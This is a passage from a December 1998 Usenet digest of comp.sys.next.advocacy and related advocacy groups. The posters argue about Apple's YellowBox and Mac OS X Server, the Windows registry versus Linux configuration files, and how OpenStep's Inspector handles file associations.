third-party product - while still creating a 'YellowBox everywhere'
situation.
'Everywhere' would include Windows, of course - YellowBox is already
available there; so suddenly there would be a mature, fast, easy-to-use
development platform available, for deployment on any Mac, Windows,
and every Unix, including the free ones.
Now, you might ask, how does this differ from the promise of Java? In
concept, not much - but in the implementation, greatly: YellowBox is more
mature, Objective-C is a much more dynamic language than Java, and
compilation to native code does give faster-running applications. All of
these points can, however be debated. How fortunate, then, that there is
no real conflict between YellowBox and Java: Apple are working hard at
integrating the two, so that you can write Java Applications using the
YellowBox tools - both such applications that use the underlying YellowBox
frameworks and use 'just' the Java _language_, and such that use Java's
own toolkits, making them '100% Pure Java' applications.
>[Actually, I figured this was one of those technical tidbits which
> MacOS Rumors didn't understand well, and didn't have enough to post
> without elaborating on it,]
Mac OS Rumors is fun to read, but .... well, it _is_ a rumors site :)
>--
>scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
><Favorite unused computer book title: The Compleat Demystified Idiots
> Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
// Christian Brunschen
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Thu, 17 Dec 1998 11:50:36 GMT
Organization: ICGNetcom
Message-ID: <3685efa7.52272852@nntp.ix.netcom.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <joe.ragosta-1612982106510001@elk70.dol.net>
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joe.ragosta@dol.net (Joe Ragosta) wrote:
>The problem with Windows is too many things appear to be random. They work
>sometimes, but not all the time.
I wonder why something that you claim is so intrinsic to Windows has
never been my experience? Any problem has been a specific thing that
caused consistent problems from the time it was introduced until it was
identified and removed.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: 17 Dec 1998 12:14:22 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <75asiu$c17$1@sun27.hrz.tu-darmstadt.de>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net> <slrn77gdma.oui.mark@ns1.oaai.com>
mark@ns1.oaai.com (Mark Onyschuk) wrote:
Yo Mark.. both thumbs up, hope you guys are making progress.
>Actually, Maury was probably interested in seeing in actual print the
>gem that is "replacing WebObjects with SAP," because even just on the face
>of it it doesn't make sense.
>
>It's rather like saying "replacing a coat-rack with a bicycle." They're two
>completely different things. But sadly, this is more-or-less par-for-the-
>course with Don lately ('dunno why), so it wouldn't surprise either Maury
>or I that such a statement was made.
Yes and no. Like most companies, SAP tries to get it's share of the
Inter/Intranet app market by providing some sort of Web binding, so
in theory, replacing WebObjects with SAP would be possible. I suspect,
however, that Don Crabb has gotten this wrong (why am I not surprised..)
and instead Apple plans to _integrate_ it's SAP system into the WebStore.
This could allow things like tracking orders, which would be a nice
addition to BTO - but this is just a guess on my side of course.
>I'd track the statement down just so that I could correct it. I wouldn't
>read too much beyond that into the effort.
Amen to that.
>Mark
>(replying for Maury 'cause he's busy working on GlyphiX in the next
> office:-)
Good to hear that. Hope you'll tidy it all up in time, and we'll be
able to buy a neat package of software tools for a certain operating
system.
Keep up, Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 17 Dec 1998 13:05:13 GMT
Organization: AOL http://www.aol.com
References: <distler-1612980948250001@dial-104-21.ots.utexas.edu>
Message-ID: <19981217080513.23765.00000222@ng54.aol.com>
distler@golem.ph.utexas.edu (Jacques Distler) said:
<<1) You can always drag the file over the FreeHand icon and it will launch.
(Together with "Spring-loaded" folders for navigating the file system this
is very conveniet.)>>
Sorry, I don't find anything which requires dragging stuff around in Finder
windows convenient. The Mac's support for drag and drop is so limited that this
isn't workable for me.
<< there's a Contextual Menu
plugin for Snitch, you can bring it up to change the Creator code just by
control-clicking on the file. No trip to the Menu Bar.>>
I don't think my co-workers would appreciate my changing the file associations
for reference files on the network server--moreover, what I want to do is open
a single file in both Illustrator and Freehand so as to limit my copying and
pasting from Illustrator to Freehand to a single instance for a particular
task.
Furthermore, I've finally got my Mac down to crashing once a week or so--I'm
not loading any additional extensions (including the contextual one from Apple)
which would complicate the system and possibly upset this balance.
Neither of the options you suggest is as simple and reliable as popping up the
Tool Inspector and double-clicking on the application which I want to use for a
file.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-uR2ZUMOo5zdj@localhost>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com> <36784003.14BC83CF@cygnus.com> <cdoutyF433M5.FxE@netcom.com>
MIME-Version: 1.0
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Date: 17 Dec 98 13:35:08 GMT
On Thu, 17 Dec 1998 00:49:17, cdouty@netcom.com (Chris Douty) thought
aloud:
> In article <36784003.14BC83CF@cygnus.com>, John Rudd <jrudd@cygnus.com> wrote:
[snip]
> >What is the process for challenging a patent based on there being prior
> >examples of the work?
> >
> >File name completion in csh (at least) existed LONG before the dates of
> >this patent. I would expect it to be trivial to challenge this patent.
> >
> >Wonder if you can do a class action suit as a patent challenge. :-}
>
> Good question. That's part of why I wondered if there is a freely
> accessible patent database. I'd like to see exactly what MS's "method
> and apparatus" are. There is always the possiblity that they really did
> come up with a novel method for suggesting completions. I rather doubt
> it, but it is possible.
IBM has a patent database available to the public. I hope this link
takes you there, or at least drops you off near the corner...
http://www.patents.ibm.com/ibm.html
Brgds,
--
taiQ
[this space is intentionally blank]
From: no.spam.please@no.spam.period
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next on Intel laptop
MIME-Version: 1.0
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References: <3678891D.E742A371@netunlimited.net> <75abce$3ol$1@newshost>
Message-ID: <t%7e2.3$Yr4.51@news.rdc1.tx.home.com>
Date: Thu, 17 Dec 1998 13:51:21 GMT
NNTP-Posting-Date: Thu, 17 Dec 1998 05:51:21 PDT
Organization: @Home Network
In <75abce$3ol$1@newshost> Marcel Bresink wrote:
> However, it won't be much fun to run Openstep on an 800 x 600
resolution.
> Some application windows won't fit on the screen.
This is a pain, but there are a couple workarounds--I've found this
mainly to be a problem for large vertical windows (like RadicalNews'
preferences panel). We've used VirtSpace on our NS 3.3 laptop for a
long time to get around this (an old Versa-E running only 640x480);
there are a couple freeware apps like VirtSpace on peak. Basically they
turn the actual display screen into about a quarter of a "virtual"
display; you can move which part of the "virtual" display the screen
shows.
JP
--
Please respond to (slight mods needed to address):
jpmeia (@ ) ix.netcom.com
NeXTMail/MIME welcome
Date: Thu, 17 Dec 1998 09:10:14 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <joe.ragosta-1712980910140001@elk85.dol.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <757gfs$5td@news1.panix.com> <758kft$po6$2@nnrp03.primenet.com> <SCOTT.98Dec16115145@slave.doubleu.com> <75aps6$csu$1@bartlet.df.lth.se>
In article <75aps6$csu$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
(Christian Brunschen) wrote:
> (This message is crossposted to com.{sys,os}.{mac,next,linux}.advocacy)
>
> In article <SCOTT.98Dec16115145@slave.doubleu.com>,
> Scott Hess <scott@nospam.doubleu.com> wrote:
> >_I_ thought this was more than strange - it was bizarre. How will
> >Apple, of all companies, succeeed with a UNIX binary format where
> >pretty much every UNIX distributor in existence has failed?
>
> By becoming the first distributor of a Unix-based system that manages to
> sell their product through retail, and into homes as well as offices and
> server settings, on a large scale?
[snip]
You're right.
It's not that far-fetched that Apple will have sold more unix licenses
than any hardware vendor ever within a couple of years (counting Mac OS X
as a Unix). Apple will be in a unique position to work with Unix vendors
to try to unify the different unices (and one of the rumors sites says
they've already started down that path).
--
Regards,
Joe Ragosta
From: edremy@chemserver.chem.vt.edu (Eric Remy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Thu, 17 Dec 1998 09:57:19 -0500
Organization: Virginia Tech Chemistry
Message-ID: <edremy-ya02408000R1712980957190001@news.vt.edu>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <joe.ragosta-1612982106510001@elk70.dol.net>
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NNTP-Posting-Date: 17 Dec 1998 14:57:19 GMT
In article <joe.ragosta-1612982106510001@elk70.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>> So what's so hard about restoring the registry?
>
>Nothing. When it works.
>
>The problem with Windows is too many things appear to be random. They work
>sometimes, but not all the time.
Exactly- look at George. He suddenly had his quoting go all screwy in
Usenet postings for no reason and he can't find a way to fix it. Just like
I lose all of the submenu lists in ApplWindows occasionally and can't get
them back unless I reboot.
Oh wait. That's right- George and I use Macs. Never mind.
--
Eric Remy. Chemistry Learning Center Director, Virginia Tech
"Any desired property can be computed from the Schrodinger equation for the
system. The solution is left as an exercise for the reader." JIR, 3rd Ed.
From: Bernd Paysan <bernd.paysan@gmx.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: Thu, 17 Dec 1998 15:00:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75b6ak$o5q$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <01be28e4$2b1e1980$35f0ccc3@default>
In article <01be28e4$2b1e1980$35f0ccc3@default>,
"Bjørnar Bolsøy" <bbolsoey@rl.telia.no> wrote:
> Joe Cosby <joecosby@rycnun.seatac.net> wrote:
> >
> > To me, a monolithic registry is the height of stupidity. It is one
> > of the main reasons I hope I never wind up buying a Wintel.
>
> To me, as an administrator, it's worth its weight in gold.
You mean without the monolithic registry and the resulting problems you have
to fix all day long (when it's corrupted again), you'd loose your job, since
noone would keep you, the pointer and clicker? Hehe :-)
For me, the configuration in Linux is in a single robust place (the
filesystem, most of them in a single directory, /etc), and I can edit it with
a single tool (vi or emacs or jed or joe or... choose one). And I could use
CVS to do versioning (you say it worked one week ago? > cvs diff -u -r10dec98
| less ... Ah, I see, I changed foo to bar!).
Now do that with Windows' registry ;-).
--
Bernd Paysan
"Late answers are wrong answers!"
http://www.jwdt.com/~paysan/
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Thu, 17 Dec 1998 15:06:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75b6l2$oaf$1@nnrp1.dejanews.com>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <distler-1612982032450001@dial-104-21.ots.utexas.edu>
distler@golem.ph.utexas.edu (Jacques Distler) wrote:
> >Still less convenient then being presented directly with a list of all
> >applications which can operate on that file, without having to search
> >for anything.
>
> That is a very nice feature, I agree.
> Trouble is, the only thing the Inspector allows you to change is the
> default app to open ALL files of this type. That's not what you want to do
> in this case. All you want to do is open THIS file with an app other than
> the default one.
Wrong, at least in the case of the NeXTSTEP/OPENSTEP inspector. By
double-clinking on any of the app icons presented by the inspector, the file
will be opened in that app THIS TIME, with NO effect on which app is
considered default. You can also use this same inspector to specify a
different default app for a particular type of file, but it's certainly NOT
the "only thing" you can do. All of this was covered in Don's very good
description; didn't you read it?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: dcorn@pdq.net (David Corn)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Message-ID: <3678ae31.2973482@news.pdq.net>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677e803.1429388@news.pdq.net> <36789560.910B6785@yahoo.net>
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NNTP-Posting-Date: Thu, 17 Dec 1998 10:40:18 EDT
Organization: ISPNews http://ispnews.com
Date: Thu, 17 Dec 1998 15:40:27 GMT
So?
On Wed, 16 Dec 1998 23:23:44 -0600, Black iMage
<black_i_mage@yahoo.net> wrote:
>David Corn wrote:
>
>> Simply use Win98's Backup program to back up your registry. Back up
>> any old file, and in the file/options/advanced menu, tell it to also
>> back up the registry. It takes about 1MB of compressed space, and is
>> easy insurence.
>>
>
>It doesn't take 1MB (compressed) to back up Linux config files.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Date: Thu, 17 Dec 1998 15:48:48 GMT
In <SCOTT.98Dec16115145@slave.doubleu.com> Scott Hess wrote:
> _I_ thought this was more than strange - it was bizarre. How will
> Apple, of all companies, succeeed with a UNIX binary format where
> pretty much every UNIX distributor in existence has failed?
Because they'll likely just use the existing YB format, which can contain
any format inside of it.
> Besides that, what's wrong with ELF, which appears to be the de facto
> standard UNIX binary format? Apple would probably be better off
> putting their weight behind _existing_ UNIX binary formats.
Because it only works on one platform. YB's contains binaries for any
platform in the wrapper.
I think the article is a little misleading.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<3677ED6F.8BB30BAD@ericsson.com>
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Date: Thu, 17 Dec 1998 15:51:27 GMT
In <3677ED6F.8BB30BAD@ericsson.com> Michael Peck wrote:
> Why's that? OPENSTEP was built with an open specification. It ran on
> Windows NT, Solaris, and HP-UX. Why didn't NeXT restrict its efforts, at
> that time, to just Windows NT, since "it seems that's a better place to
> spend their efforts"?
Because you said yourself that the Linux community will not accept it. I
don't believe the Windows community will have any such problem. It seems
to me then that a Windows port has a better chance of being successful than
a Linux port, for the reason that both you and Jedi stated.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Date: Thu, 17 Dec 1998 16:00:58 GMT
In <3677F3D4.63B5E739@ericsson.com> Michael Peck wrote:
> Very good. Pthread compatibility should be simple, then.
Notably considering cthreads are the basis for pthreads.
> Pthreads stands for "POSIX threads".
My point is that the specific type of threading functionality should not
be important at the YB level. It is important for people doing "classic"
Unix programming and porting, but to expose this functionality in the OO
layer is wrong. After all, that's what the OO layer is there for, to
insulate you from these sorts of OS differences.
Having pthreads in the _OS_ is very important, using them in the OO layer
is not important in the least.
> There's got to be some way of separating these Maury Markowitz/Sal
> Denaro conversations out from the rest; some sort of marker, or
> something, that says "This thread is pointless argumentation initiated
> for the bored amusement of someone with little or no knowledge of the
> subject matter".
If they are so increadibly useless, why do you reply to them?
> Well, certainly not NT threads, since NT threads only support the notion
> of one thread per LWP. That's not really acceptable, but it's made
> necessary by the architecture of NT's kernel.
You're missing the point. The OO layer should not know anything about
the threading model.
> Thread support is neither more nor less important than *good* thread
> support. The comparison makes no sense.
Yes it does.
> Naw, it lets you trial-run X software.
And what is the difference? This sounds like an odd restatement of the
Turing test.
> What you meant to say was that *you* couldn't care less about this.
No, I said "the market".
> Timbuktu and PCRemote are *third-party* products. You beautifully
> demonstrate my point.
And mine.
> And you just pointed out that as a result it's considered a "fringe
> product".
Exactly.
> You're arguing against yourself at this point. I don't want to get in
> the middle of that. You and alter-ego go sort this out and come back
> when you have a coherent point.
Note that if you simply wait long enough, Mike will eventually start
flaming you.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<36781072.3EF67AB8@ericsson.com> <slrn77gkej.2a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Date: Thu, 17 Dec 1998 16:02:42 GMT
In <759jto$3l4$1@crib.corepower.com> Nathan Urban wrote:
> In article <slrn77gkej.2a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> How is efficient remote display under the new graphics model going to
> be possible? Transferring bitmaps over a wire isn't good for bandwidth,
> but without a client/server display model, I don't know how else you
> could do it.
Trap out the call stream to the engine (the same way it works now under
DPS and QD) and also send updated state. As long as the state information
is per-task, and that information isn't very large, this is not a difficult
task.
Maury
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Date: Thu, 17 Dec 1998 16:07:33 GMT
In <3677FD44.D59265DA@ericsson.com> Michael Peck wrote:
> The more polite, conversational, open-minded, and energetic people you
> deliberately and carelessly piss off and treat like dogshit, people like
> taiQ, the fewer people will care to go to your talks...
Pot, meet kettle.
Maury
Message-ID: <36792E9B.61EC7A1E@nstar.net>
Date: Thu, 17 Dec 1998 10:17:31 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
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Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Maury Markowitz wrote:
>
> In <3677ED6F.8BB30BAD@ericsson.com> Michael Peck wrote:
> > Why's that? OPENSTEP was built with an open specification. It ran on
> > Windows NT, Solaris, and HP-UX. Why didn't NeXT restrict its efforts, at
> > that time, to just Windows NT, since "it seems that's a better place to
> > spend their efforts"?
>
> Because you said yourself that the Linux community will not accept it. I
> don't believe the Windows community will have any such problem. It seems
> to me then that a Windows port has a better chance of being successful than
> a Linux port, for the reason that both you and Jedi stated.
Look, I don't know how many times I have to point this out, because you
appear to have missed it multiple times, but one of the two conditions
"Jedi" stated was that the specification be open and available. Then, in
my posting (still quoted above for you to see), I pointed out that
OPENSTEP was built on an *open specification*.
Your assertion that "[I] said [myself] that the Linux community will not
accept it" makes no sense to me.
MJP
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXT UI on MacOS 8.x
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Date: Thu, 17 Dec 1998 16:18:46 GMT
In <759iqr$3hu$1@crib.corepower.com> Nathan Urban wrote:
> The shelf at the bottom of the screen was a replacement for the dock.
> It was tabbed into user-definable categories, and you could drag apps,
> documents, and perhaps other objects into it.
>
> > It seems they removed the shelf from the "finder" windows and made a
> > single UI system for both?
>
> Pretty much.
So basically you could drag anything into it, that's GOOD. Were running
apps denoted in this system, or only in that grid? How about animated
icons? That's the one thing I miss most.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: OSX: The Next Generation--NOT
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Date: Thu, 17 Dec 1998 16:21:23 GMT
In <75asiu$c17$1@sun27.hrz.tu-darmstadt.de> Christian Neuss wrote:
> Yo Mark.. both thumbs up, hope you guys are making progress.
I need bug reports!
> Yes and no. Like most companies, SAP tries to get it's share of the
> Inter/Intranet app market by providing some sort of Web binding, so
> in theory, replacing WebObjects with SAP would be possible. I suspect,
> however, that Don Crabb has gotten this wrong (why am I not surprised..)
> and instead Apple plans to _integrate_ it's SAP system into the WebStore.
All the more likely when you consider the news release only a week
earlier announcing "suddenly" that someone was bringing _exactly_ these SAP
components into WO. Conincidence? I think not.
Maury
Message-ID: <36792FCB.73C4C0D5@nstar.net>
Date: Thu, 17 Dec 1998 10:22:35 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Maury Markowitz wrote:
> My point is that the specific type of threading functionality should not
> be important at the YB level. It is important for people doing "classic"
> Unix programming and porting, but to expose this functionality in the OO
> layer is wrong. After all, that's what the OO layer is there for, to
> insulate you from these sorts of OS differences.
>
> Having pthreads in the _OS_ is very important, using them in the OO layer
> is not important in the least.
Well, I haven't the remotest, most far-flung clue why you would happen
to bring up this distinction. I entered this thread under the discussion
of "what is a 'good Unix'" and have not, to my recollection, discussed
anything regarding whether or not Unix-isms should be exposed in the
Yellow Box O-O layer.
> If they are so increadibly useless, why do you reply to them?
Posterity. They set precedent and make for good material in Dejanews.
> You're missing the point. The OO layer should not know anything about
> the threading model.
If that was the point, you're definitely right. I missed it. I had no
idea we were discussing the O-O layer.
[cut]
> > Naw, it lets you trial-run X software.
>
> And what is the difference? This sounds like an odd restatement of the
> Turing test.
*laugh*
> > What you meant to say was that *you* couldn't care less about this.
>
> No, I said "the market".
Well, then I was giving you the benefit of the doubt. Now I've got to
ask how in the world you can know what "the market" wants?
[cut]
> > You're arguing against yourself at this point. I don't want to get in
> > the middle of that. You and alter-ego go sort this out and come back
> > when you have a coherent point.
>
> Note that if you simply wait long enough, Mike will eventually start
> flaming you.
Who's Mike? Why will he flame me?
MJP
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X and file associations, etc.
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References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com>
<distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com>
Mime-Version: 1.0
Date: Thu, 17 Dec 1998 16:24:31 GMT
In <759ig9$3gq$1@crib.corepower.com> Nathan Urban wrote:
> Still less convenient then being presented directly with a list of all
> applications which can operate on that file, without having to search
> for anything.
That depends on the search system used to decide. If it's based just on
the extension it doesn't help in a lot of situations (like where it's
missing). I wonder if they plan on using the various mappings in the PC
Exchange system for this purpose as well?
> But that's rarely what I want to do when I use the Workspace inspector;
> I want to open the document in a particular app for that one time only.
Then the drag and drop method is the way to go, I'm sure that's why it's
in OpenStep as well.
> I don't want to have to change the default app, open it, and then change
> it back.
Now I'm confused, this is exactly what OpenStep would make you do now.
Maury
Message-ID: <3678CBC7.997A4D7D@nstar.net>
Date: Thu, 17 Dec 1998 03:15:51 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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taiQ wrote:
[cut]
> I
> was, and to some extent still am, merely curious to learn why some
> people would appear to advocate either limited, very slow, or just
> wait-and-see attitude towards Yellow Box for Linux when the general
> concensus (according to my gut feeling) appears to be that YB for
> Linux could indeed help the very NeXT/YB developers in reaching a
> wider potential market; especially as Mac OS X is still quite far from
> getting into customers hands and Carbon upgrades, with the bigger
> brands behind them, may suppress YB apps' adaption on that platform
> well in next millenium. :^)
For what it's worth, my opinion is that most ex-NeXTers have a mixed bag
of feelings toward Linux, most of which range from vague disinterest to
outright dislike. Some of this is philosophical, some is anecdotal, some
is just a negative reaction toward a system which one doesn't know and
has no desire to learn. One especially notes the reaction ex-NeXTers
have toward particularly vocal Linux advocates, who (again, in my
opinion) strike upon the nerves of ex-NeXTers who believe them to be
inexperienced and presumptuous upstarts.
[cut]
MJP
Message-ID: <3678CD2A.453DBFD9@nstar.net>
Date: Thu, 17 Dec 1998 03:21:46 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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taiQ wrote:
[cut]
> Couldn't you just stop fixating on something that isn't, admit you
> were wrong and move on concentrating on issues more important than
> creating bad blood for no reason? Michael is right, you know - your
> behaviour has all the potential of turning people away from this
> community.
He's talking about both of us, mmalcolm, whether he knows it or not.
There are people in this newsgroup, like taiQ and Randy Rencsok, who
consistently demonstrate a genuine interest in *conversation* (that lost
art), rather than the advancement of any particular agenda. You and I
bear the responsibility for making these people seem so unique.
We're both reasonable people. I think we can get past the sniping (at
least at each other, for now) when there's a certain amount of respect.
It's time we started cultivating that in each other. Once upon a time,
there was a little of that, I thought...
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X and file associations, etc.
Newsgroups: comp.sys.next.advocacy
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net>
Message-ID: <36793894.0@news.depaul.edu>
Date: 17 Dec 98 17:00:04 GMT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <759ig9$3gq$1@crib.corepower.com> Nathan Urban wrote:
> > But that's rarely what I want to do when I use the Workspace inspector;
> > I want to open the document in a particular app for that one time only.
> Then the drag and drop method is the way to go, I'm sure that's why it's
> in OpenStep as well.
Drag and drop is only useful uf the app is either running, or in the Dock,
or in a Dock-enhancer like Fiend. This usually is not the case.
> > I don't want to have to change the default app, open it, and then change
> > it back.
> Now I'm confused, this is exactly what OpenStep would make you do now.
Nope. If you just double-click the icon of the app (in the Inspector's
list of icons of compatible apps), the default is not changed. The default
is only changed if you specifically click the 'set default' button.
Simply double-clicking is a one-shot override of the default.
Message-ID: <36793872.1759FF5@nstar.net>
Date: Thu, 17 Dec 1998 10:59:30 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net> <slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> Because the whole mass of stuff surrounding X, server + clients is something
> that NeXT technology did signficantly better. That wasn't true with
> gzip, tar, perl, blah blah blah.
>
> I like Unix, but I bear no torch for X.
As I told Chuck, this isn't a matter of advocacy or preferences. The
fact that you "bear no torch for X" shouldn't have anything to do with
your objective assessment of the necessity of its inclusion.
[cut]
> If you didn't like NeXTSTEP, I don't think you'd like MacOS X.
I find it disappointing to hear so many people asserting that because I
didn't like NeXTstep I should have no interest in the NeXT/Apple market.
What a load of crap. I hated the NeXTstep UI and I felt that the quality
of the underlying Unix had been compromised rather seriously by
"user-friendly features", such as the fact that in NS 3.3 NetInfo could
not be disabled.
On the other hand I was assured by people that these were shortcomings
which paled against the quality of the development environment, *which I
never used*. Pardon me for taking those comments at face value, but I've
